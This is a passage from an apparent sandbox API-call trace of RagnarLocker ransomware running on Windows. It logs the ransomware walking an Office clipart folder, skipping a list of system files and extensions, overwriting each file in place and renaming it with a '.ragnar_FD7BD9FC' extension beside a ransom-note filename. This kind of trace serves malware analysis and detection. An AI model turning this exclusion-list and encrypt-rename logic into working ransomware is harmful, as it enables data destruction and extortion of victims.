dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.817] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4928, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4928, lpOverlapped=0x0) returned 1 [0083.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4928, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.818] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4928, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4928, lpOverlapped=0x0) returned 1 [0083.818] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4928, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.818] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.819] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.819] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.819] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.819] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.819] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.819] GetProcessHeap () returned 0x580000 [0083.819] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.819] CloseHandle (hObject=0xf4) returned 1 [0083.819] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" [0083.819] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.ragnar_FD7BD9FC" [0083.819] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.820] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0083.820] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.820] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105496.WMF" | out: lpString1="J0105496.WMF") returned="J0105496.WMF" [0083.820] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned=".WMF" [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="autorun.inf") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="boot.ini") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="bootfont.bin") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="bootsect.bak") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="bootmgr") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="bootmgr.efi") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="bootmgfw.efi") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="desktop.ini") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="iconcache.db") returned 1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="ntldr") returned -1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="ntuser.dat") returned -1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="ntuser.dat.log") returned -1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="ntuser.ini") returned -1 [0083.820] lstrcmpiW (lpString1="J0105496.WMF", lpString2="thumbs.db") returned -1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.820] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0083.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.821] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5156) returned 1 [0083.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x141b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.821] GetProcessHeap () returned 0x580000 [0083.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.821] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.823] VirtualAlloc (lpAddress=0x0, dwSize=0x1424, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.823] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1424, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1424, lpOverlapped=0x0) returned 1 [0083.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.824] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1424, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.824] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1424, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1424, lpOverlapped=0x0) returned 1 [0083.824] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1424, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.824] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.824] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.824] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.825] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.825] GetProcessHeap () returned 0x580000 [0083.825] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.825] CloseHandle (hObject=0xf4) returned 1 [0083.825] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" [0083.825] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.ragnar_FD7BD9FC" [0083.825] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.825] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0083.825] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.825] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105502.WMF" | out: lpString1="J0105502.WMF") returned="J0105502.WMF" [0083.826] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned=".WMF" [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="autorun.inf") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="boot.ini") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="bootfont.bin") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="bootsect.bak") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="bootmgr") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="bootmgr.efi") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="bootmgfw.efi") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="desktop.ini") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="iconcache.db") returned 1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="ntldr") returned -1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="ntuser.dat") returned -1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="ntuser.dat.log") returned -1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="ntuser.ini") returned -1 [0083.826] lstrcmpiW (lpString1="J0105502.WMF", lpString2="thumbs.db") returned -1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.826] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0083.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.850] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5472) returned 1 [0083.850] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1557, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.850] GetProcessHeap () returned 0x580000 [0083.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.850] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.852] VirtualAlloc (lpAddress=0x0, dwSize=0x1560, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.852] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1560, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1560, lpOverlapped=0x0) returned 1 [0083.853] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.853] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1560, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.853] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1560, lpOverlapped=0x0) returned 1 [0083.853] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1560, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.853] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1560, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.854] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.854] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.854] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.854] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.854] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.854] GetProcessHeap () returned 0x580000 [0083.854] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.854] CloseHandle (hObject=0xf4) returned 1 [0083.854] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" [0083.854] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.ragnar_FD7BD9FC" [0083.854] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.855] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0083.855] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.855] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105504.WMF" | out: lpString1="J0105504.WMF") returned="J0105504.WMF" [0083.855] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned=".WMF" [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="autorun.inf") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="boot.ini") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="bootfont.bin") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="bootsect.bak") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="bootmgr") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="bootmgr.efi") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="bootmgfw.efi") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="desktop.ini") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="iconcache.db") returned 1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="ntldr") returned -1 [0083.855] lstrcmpiW (lpString1="J0105504.WMF", lpString2="ntuser.dat") returned -1 [0083.856] lstrcmpiW (lpString1="J0105504.WMF", lpString2="ntuser.dat.log") returned -1 [0083.856] lstrcmpiW (lpString1="J0105504.WMF", lpString2="ntuser.ini") returned -1 [0083.856] lstrcmpiW (lpString1="J0105504.WMF", lpString2="thumbs.db") returned -1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.856] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0083.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.857] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4148) returned 1 [0083.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x102b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.857] GetProcessHeap () returned 0x580000 [0083.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.857] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.858] VirtualAlloc (lpAddress=0x0, dwSize=0x1034, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.859] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1034, lpOverlapped=0x0) returned 1 [0083.860] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.860] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1034, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.860] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1034, lpOverlapped=0x0) 